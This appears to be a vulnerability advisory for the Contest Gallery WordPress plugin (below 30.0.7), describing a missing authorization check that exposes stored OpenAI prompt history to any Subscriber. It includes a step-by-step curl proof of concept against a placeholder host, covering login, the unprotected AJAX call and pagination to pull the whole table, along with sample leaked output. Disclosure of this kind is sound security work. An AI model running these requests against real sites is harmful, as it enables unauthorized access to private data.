Contest Gallery < 30.0.7 – Subscriber+ OpenAI Prompt History Disclosure via post_cg_get_openai_prompts | CVE 2026-16056

Description

The plugin does not perform any capability or nonce check in one of its handlers, allowing any authenticated user down to Subscriber to read the site's entire stored OpenAI prompt history.

Proof of Concept

Step 1 - Authenticate as any Subscriber-level account and keep the session cookies (a Subscriber account is used here; any authenticated role works). Replace `victim.example` with the target host.
```
curl -k -c cookies.txt -b cookies.txt \
  --data-urlencode 'log=subscriber' --data-urlencode 'pwd=password' \
  --data 'wp-submit=Log+In&testcookie=1' \
  'https://victim.example/wp-login.php'
```

Step 2 - Call the unprotected AJAX action with no nonce. The full OpenAI prompt history is returned.
```
curl -k -b cookies.txt 'https://victim.example/wp-admin/admin-ajax.php' \
  --data 'action=post_cg_get_openai_prompts&cg_start=0'
```
Response (the handler echoes an inline script populating the prompt history; every row of the private table is disclosed to the Subscriber):
```
<script data-cg-processing="true">
    cgJsClassAdmin.gallery.vars.openAiIsFirstGet = true;
    cgJsClassAdmin.gallery.vars.openAiPrompts = [{"id":"1","Prompt":"SECRET-ADMIN-PROMPT confidential client brief alpha","RevisedPrompt":"revised secret","Company":"openai","Model":"dall-e-3","Quality":"hd","Resolution":"1024x1024","Type":"0","Tstamp":"1781495995","date":"15-Jun-2026 03:59:55","gmt_offset":"0"}];
    ...
</script>
```

Step 3 - Increase `cg_start` (0, 100, 200, ...) to paginate and exfiltrate the entire table.
```
curl -k -b cookies.txt 'https://victim.example/wp-admin/admin-ajax.php' \
  --data 'action=post_cg_get_openai_prompts&cg_start=100'
```